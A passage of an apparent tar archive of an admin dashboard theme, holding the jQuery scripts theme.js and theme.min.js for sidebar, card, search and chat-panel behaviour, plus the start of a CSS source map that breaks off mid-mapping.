\x6f\x50\x32\x62\x78\x6f\x74\x76\x67\x36\x6c\x70\x48\x35\x4e\x54\x57\x67\x63\x50\x48\x2b\x4d\x55\x4e\x66\x4f\x57\x48\x64\x46\x57\x56\x66\x75\x31\x44\x35\x76\x46\x57\x41\x4e\x66\x41\x77\x5a\x64\x64\x49\x77\x35\x70\x41\x56\x45\x38\x71\x4e\x66\x71\x39\x4c\x79\x52\x7a\x6d\x77\x4c\x31\x4d\x4b\x68\x6e\x52\x6f\x48\x4e\x2f\x43\x56\x36\x37\x7a\x79\x32\x52\x74\x63\x5a\x69\x72\x63\x31\x4e\x59\x52\x55\x48\x72\x54\x6f\x3djs/theme.js000064400000026225151676723140006643 0ustar00! function(e, s, i) { "use strict"; i(s).ready(function() { function a(e, s) { e.children(".submenu-content").show().slideUp(200, function() { i(this).css("display", ""), i(this).find(".menu-item").removeClass("is-shown"), e.removeClass("open"), s && s() }) } var n = i(".app-sidebar"), t = i(".sidebar-content"), l = i(".wrapper"), o = s.querySelector(".sidebar-content"); new PerfectScrollbar(o, { wheelSpeed: 10, wheelPropagation: !0, minScrollbarLength: 5 }); t.on("click", ".navigation-main .nav-item a", function() { var e = i(this).parent(".nav-item"); if (e.hasClass("has-sub") && e.hasClass("open")) a(e); else { if (e.hasClass("has-sub") && function(e, s) { var a = e.children(".submenu-content"), n = a.children(".menu-item").addClass("is-hidden"); e.addClass("open"), a.hide().slideDown(200, function() { i(this).css("display", ""), s && s() }), setTimeout(function() { n.addClass("is-shown"), n.removeClass("is-hidden") }, 0) }(e), t.data("collapsible")) return !1; a(e.siblings(".open")), e.siblings(".open").find(".nav-item.open").removeClass("open") } }), i(".nav-toggle").on("click", function() { var e = i(this).find(".toggle-icon"); "expanded" === e.attr("data-toggle") ? (l.addClass("nav-collapsed"), i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-right").addClass("ik-toggle-left"), e.attr("data-toggle", "collapsed")) : (l.removeClass("nav-collapsed menu-collapsed"), i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-left").addClass("ik-toggle-right"), e.attr("data-toggle", "expanded")) }), n.on("mouseenter", function() { if (l.hasClass("nav-collapsed")) { l.removeClass("menu-collapsed"); var e = i(".navigation-main .nav-item.nav-collapsed-open"); e.children(".submenu-content").hide().slideDown(300, function() { i(this).css("display", "") }), t.find(".nav-item.active").parents(".nav-item").addClass("open"), e.addClass("open").removeClass("nav-collapsed-open") } }).on("mouseleave", function(e) { if (l.hasClass("nav-collapsed")) { l.addClass("menu-collapsed"); var s = i(".navigation-main .nav-item.open"), a = s.children(".submenu-content"); s.addClass("nav-collapsed-open"), a.show().slideUp(300, function() { i(this).css("display", "") }), s.removeClass("open") } }), i(e).width() < 992 && (n.addClass("hide-sidebar"), l.removeClass("nav-collapsed menu-collapsed")), i(e).resize(function() { i(e).width() < 992 && (n.addClass("hide-sidebar"), l.removeClass("nav-collapsed menu-collapsed")), i(e).width() > 992 && (n.removeClass("hide-sidebar"), "collapsed" === i(".toggle-icon").attr("data-toggle") && l.not(".nav-collapsed menu-collapsed") && l.addClass("nav-collapsed menu-collapsed")) }), i(s).on("click", ".navigation li:not(.has-sub)", function() { i(e).width() < 992 && n.addClass("hide-sidebar") }), i(s).on("click", ".logo-text", function() { i(e).width() < 992 && n.addClass("hide-sidebar") }), i(".mobile-nav-toggle").on("click", function(e) { e.stopPropagation(), n.toggleClass("hide-sidebar") }), i("html").on("click", function(s) { i(e).width() < 992 && (n.hasClass("hide-sidebar") || 0 !== n.has(s.target).length || n.addClass("hide-sidebar")) }), i("#sidebarClose").on("click", function() { n.addClass("hide-sidebar") }), i('[data-toggle="tooltip"]').tooltip(), i("#checkbox_select_all").on("click", function() { for (var e = s.getElementsByName("item_checkbox"), a = 0; a < e.length; a++) "checkbox" == e[a].type && (e[a].checked = !0), i(e).parent().parent().addClass("selected") }), i("#checkbox_deselect_all").on("click", function() { for (var e = s.getElementsByName("item_checkbox"), a = 0; a < e.length; a++) "checkbox" == e[a].type && (e[a].checked = !1), i(e).parent().parent().removeClass("selected") }), i("#quick-search").keyup(function() { var e = i(this).val().trim().toLowerCase(); i(".app-item").hide().filter(function() { return -1 != i(this).html().trim().toLowerCase().indexOf(e) }).show() }), i(".list-item input:checkbox").change(function() { i(this).is(":checked") ? i(this).parent().parent().addClass("selected") : i(this).parent().parent().removeClass("selected") }), i("#navbar-fullscreen").on("click", function(e) { "undefined" != typeof screenfull && screenfull.enabled && screenfull.toggle() }), i("#selectall").click(function() { i(this).is(":checked") ? i(".select_all_child:checkbox").attr("checked", !0) : i(".select_all_child:checkbox").attr("checked", !1) }), i(".list-item-wrap .list-item .list-title a").on("click", function(e) { i(".list-item.quick-view-opened").not(this).removeClass("quick-view-opened"), i(this).parents().parent(".list-item").toggleClass("quick-view-opened") }), i(s).on("click", function(e) { i(e.target).closest(".list-item").length || i(".list-item").removeClass("quick-view-opened") }), "undefined" != typeof screenfull && screenfull.enabled && i(s).on(screenfull.raw.fullscreenchange, function() { screenfull.isFullscreen ? i("#navbar-fullscreen").find("i").toggleClass("ik-minimize ik-maximize") : i("#navbar-fullscreen").find("i").toggleClass("ik-maximize ik-minimize") }), i(".minimize-widget").on("click", function() { var e = i(this), s = i(e.parents(".widget")); i(s).children(".widget-body").slideToggle(); i(this).toggleClass("ik-minus").fadeIn("slow"), i(this).toggleClass("ik-plus").fadeIn("slow") }), i(".remove-widget").on("click", function() { var e = i(this); e.parents(".widget").animate({ opacity: "0", "-webkit-transform": "scale3d(.3, .3, .3)", transform: "scale3d(.3, .3, .3)" }), setTimeout(function() { e.parents(".widget").remove() }, 800) }), i(".card-header-right .card-option .action-toggle").on("click", function() { var e = i(this); e.hasClass("ik-chevron-right") ? e.parents(".card-option").animate({ width: "28px" }) : e.parents(".card-option").animate({ width: "90px" }), i(this).toggleClass("ik-chevron-right").fadeIn("slow") }), i(".card-header-right .close-card").on("click", function() { var e = i(this); e.parents(".card").animate({ opacity: "0", "-webkit-transform": "scale3d(.3, .3, .3)", transform: "scale3d(.3, .3, .3)" }), setTimeout(function() { e.parents(".card").remove() }, 800) }), i(".card-header-right .minimize-card").on("click", function() { var e = i(this), s = i(e.parents(".card")); i(s).children(".card-body").slideToggle(); i(this).toggleClass("ik-minus").fadeIn("slow"), i(this).toggleClass("ik-plus").fadeIn("slow") }), i(".task-list").on("click", "li.list", function() { i(this).toggleClass("completed") }), i(".search-btn").on('click', function() { i(".header-search").addClass('open'); i('.header-search .form-control').animate({ 'width': '200px', }); }), i(".search-close").on('click', function() { i('.header-search .form-control').animate({ 'width': '0', }); setTimeout(function() { i(".header-search").removeClass('open'); }, 300); }); var ps = new PerfectScrollbar(".right-sidebar", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); var ps = new PerfectScrollbar(".messages", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); $(".right-sidebar-toggle").on("click",function(e) { this.classList.toggle('active'); $('.wrapper').toggleClass('right-sidebar-expand'); return false; }); document.addEventListener('click', function(event) { var $rightSidebar = document.getElementsByClassName('right-sidebar')[0], $chatPanel = document.getElementsByClassName('chat-panel')[0]; var isInsideContainer = $rightSidebar.contains( event.target ) || $chatPanel.contains(event.target); if( !isInsideContainer ) { document.body.classList.remove('right-sidebar-expand'); var toggle = document.getElementsByClassName('right-sidebar-toggle'); for( var i = 0; i < toggle.length; i++ ) { toggle[i].classList.remove('active'); } $chatPanel.hidden = 'hidden'; } }); var el = $('[data-plugin="chat-sidebar"]'); if( !el.length ) return; var chatList = el.find('.chat-list'); chatList.each(function(index) { var $this = $(this); $(this).find('.list-group a').on('click', function() { $this.find('.list-group a.active').removeClass('active'); $(this).addClass('active'); var el = $('.chat-panel'); if(!el.length) return; el.removeAttr('hidden'); var messages = el.find('.messages'); messages[0].scrollTop = messages[0].scrollHeight; if( messages[0].classList.contains('scrollbar-enabled') ) { messages.perfectScrollbar('update'); } el.find('.user-name').html( $(this).data('chat-user')); }); }); var el = $('.chat-panel'); if(!el.length) return; el.find('.close').on('click', function(){ el.attr('hidden', true); el.find('.panel-body').removeClass('hide'); }); el.find('.minimize').on('click', function(){ el.find('.card-block').attr('hidden', !el.find('.card-block').attr('hidden') ); if( el.find('.card-block').attr('hidden') === 'hidden' ) $(this).find('.material-icons').html('expand_less'); else $(this).find('.material-icons').html('expand_more'); }); }) }(window, document, jQuery);js/theme.min.js000064400000017350151676723140007424 0ustar00!function(e,a,i){"use strict";i(a).ready(function(){function n(e,a){e.children(".submenu-content").show().slideUp(200,function(){i(this).css("display",""),i(this).find(".menu-item").removeClass("is-shown"),e.removeClass("open"),a&&a()})}var t=i(".app-sidebar"),s=i(".sidebar-content"),l=i(".wrapper"),o=a.querySelector(".sidebar-content");new PerfectScrollbar(o,{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5}),s.on("click",".navigation-main .nav-item a",function(){var e=i(this).parent(".nav-item");if(e.hasClass("has-sub")&&e.hasClass("open"))n(e);else{if(e.hasClass("has-sub")&&function(e,a){var n=e.children(".submenu-content"),t=n.children(".menu-item").addClass("is-hidden");e.addClass("open"),n.hide().slideDown(200,function(){i(this).css("display","")}),setTimeout(function(){t.addClass("is-shown"),t.removeClass("is-hidden")},0)}(e),s.data("collapsible"))return!1;n(e.siblings(".open")),e.siblings(".open").find(".nav-item.open").removeClass("open")}}),i(".nav-toggle").on("click",function(){var e=i(this).find(".toggle-icon");"expanded"===e.attr("data-toggle")?(l.addClass("nav-collapsed"),i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-right").addClass("ik-toggle-left"),e.attr("data-toggle","collapsed")):(l.removeClass("nav-collapsed menu-collapsed"),i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-left").addClass("ik-toggle-right"),e.attr("data-toggle","expanded"))}),t.on("mouseenter",function(){if(l.hasClass("nav-collapsed")){l.removeClass("menu-collapsed");var e=i(".navigation-main .nav-item.nav-collapsed-open");e.children(".submenu-content").hide().slideDown(300,function(){i(this).css("display","")}),s.find(".nav-item.active").parents(".nav-item").addClass("open"),e.addClass("open").removeClass("nav-collapsed-open")}}).on("mouseleave",function(e){if(l.hasClass("nav-collapsed")){l.addClass("menu-collapsed");var a=i(".navigation-main .nav-item.open"),n=a.children(".submenu-content");a.addClass("nav-collapsed-open"),n.show().slideUp(300,function(){i(this).css("display","")}),a.removeClass("open")}}),i(e).width()<992&&(t.addClass("hide-sidebar"),l.removeClass("nav-collapsed menu-collapsed")),i(e).resize(function(){i(e).width()<992&&(t.addClass("hide-sidebar"),l.removeClass("nav-collapsed menu-collapsed")),i(e).width()>992&&(t.removeClass("hide-sidebar"),"collapsed"===i(".toggle-icon").attr("data-toggle")&&l.not(".nav-collapsed menu-collapsed")&&l.addClass("nav-collapsed menu-collapsed"))}),i(a).on("click",".navigation li:not(.has-sub)",function(){i(e).width()<992&&t.addClass("hide-sidebar")}),i(a).on("click",".logo-text",function(){i(e).width()<992&&t.addClass("hide-sidebar")}),i(".mobile-nav-toggle").on("click",function(e){e.stopPropagation(),t.toggleClass("hide-sidebar")}),i("html").on("click",function(a){i(e).width()<992&&(t.hasClass("hide-sidebar")||0!==t.has(a.target).length||t.addClass("hide-sidebar"))}),i("#sidebarClose").on("click",function(){t.addClass("hide-sidebar")}),i('[data-toggle="tooltip"]').tooltip(),i("#checkbox_select_all").on("click",function(){for(var e=a.getElementsByName("item_checkbox"),n=0;n<e.length;n++)"checkbox"==e[n].type&&(e[n].checked=!0),i(e).parent().parent().addClass("selected")}),i("#checkbox_deselect_all").on("click",function(){for(var e=a.getElementsByName("item_checkbox"),n=0;n<e.length;n++)"checkbox"==e[n].type&&(e[n].checked=!1),i(e).parent().parent().removeClass("selected")}),i("#quick-search").keyup(function(){var e=i(this).val().trim().toLowerCase();i(".app-item").hide().filter(function(){return-1!=i(this).html().trim().toLowerCase().indexOf(e)}).show()}),i(".list-item input:checkbox").change(function(){i(this).is(":checked")?i(this).parent().parent().addClass("selected"):i(this).parent().parent().removeClass("selected")}),i("#navbar-fullscreen").on("click",function(e){"undefined"!=typeof screenfull&&screenfull.enabled&&screenfull.toggle()}),i("#selectall").click(function(){i(this).is(":checked")?i(".select_all_child:checkbox").attr("checked",!0):i(".select_all_child:checkbox").attr("checked",!1)}),i(".list-item-wrap .list-item .list-title a").on("click",function(e){i(".list-item.quick-view-opened").not(this).removeClass("quick-view-opened"),i(this).parents().parent(".list-item").toggleClass("quick-view-opened")}),i(a).on("click",function(e){i(e.target).closest(".list-item").length||i(".list-item").removeClass("quick-view-opened")}),"undefined"!=typeof screenfull&&screenfull.enabled&&i(a).on(screenfull.raw.fullscreenchange,function(){screenfull.isFullscreen?i("#navbar-fullscreen").find("i").toggleClass("ik-minimize ik-maximize"):i("#navbar-fullscreen").find("i").toggleClass("ik-maximize ik-minimize")}),i(".minimize-widget").on("click",function(){var e=i(this),a=i(e.parents(".widget"));i(a).children(".widget-body").slideToggle(),i(this).toggleClass("ik-minus").fadeIn("slow"),i(this).toggleClass("ik-plus").fadeIn("slow")}),i(".remove-widget").on("click",function(){var e=i(this);e.parents(".widget").animate({opacity:"0","-webkit-transform":"scale3d(.3, .3, .3)",transform:"scale3d(.3, .3, .3)"}),setTimeout(function(){e.parents(".widget").remove()},800)}),i(".card-header-right .card-option .action-toggle").on("click",function(){var e=i(this);e.hasClass("ik-chevron-right")?e.parents(".card-option").animate({width:"28px"}):e.parents(".card-option").animate({width:"90px"}),i(this).toggleClass("ik-chevron-right").fadeIn("slow")}),i(".card-header-right .close-card").on("click",function(){var e=i(this);e.parents(".card").animate({opacity:"0","-webkit-transform":"scale3d(.3, .3, .3)",transform:"scale3d(.3, .3, .3)"}),setTimeout(function(){e.parents(".card").remove()},800)}),i(".card-header-right .minimize-card").on("click",function(){var e=i(this),a=i(e.parents(".card"));i(a).children(".card-body").slideToggle(),i(this).toggleClass("ik-minus").fadeIn("slow"),i(this).toggleClass("ik-plus").fadeIn("slow")}),i(".task-list").on("click","li.list",function(){i(this).toggleClass("completed")}),i(".search-btn").on("click",function(){i(".header-search").addClass("open"),i(".header-search .form-control").animate({width:"200px"})}),i(".search-close").on("click",function(){i(".header-search .form-control").animate({width:"0"}),setTimeout(function(){i(".header-search").removeClass("open")},300)});new PerfectScrollbar(".right-sidebar",{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5}),new PerfectScrollbar(".messages",{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5});$(".right-sidebar-toggle").on("click",function(e){return this.classList.toggle("active"),$(".wrapper").toggleClass("right-sidebar-expand"),!1}),document.addEventListener("click",function(e){var a=document.getElementsByClassName("right-sidebar")[0],i=document.getElementsByClassName("chat-panel")[0];if(!(a.contains(e.target)||i.contains(e.target))){document.body.classList.remove("right-sidebar-expand");for(var n=document.getElementsByClassName("right-sidebar-toggle"),t=0;t<n.length;t++)n[t].classList.remove("active");i.hidden="hidden"}});c=$('[data-plugin="chat-sidebar"]');if(c.length){c.find(".chat-list").each(function(e){var a=$(this);$(this).find(".list-group a").on("click",function(){a.find(".list-group a.active").removeClass("active"),$(this).addClass("active");var e=$(".chat-panel");if(e.length){e.removeAttr("hidden");var i=e.find(".messages");i[0].scrollTop=i[0].scrollHeight,i[0].classList.contains("scrollbar-enabled")&&i.perfectScrollbar("update"),e.find(".user-name").html($(this).data("chat-user"))}})});var c;(c=$(".chat-panel")).length&&(c.find(".close").on("click",function(){c.attr("hidden",!0),c.find(".panel-body").removeClass("hide")}),c.find(".minimize").on("click",function(){c.find(".card-block").attr("hidden",!c.find(".card-block").attr("hidden")),"hidden"===c.find(".card-block").attr("hidden")?$(this).find(".material-icons").html("expand_less"):$(this).find(".material-icons").html("expand_more")}))}})}(window,document,jQuery);css/theme.css.map000064400000276652151676723140007762 0ustar00{ "version": 3, "mappings": "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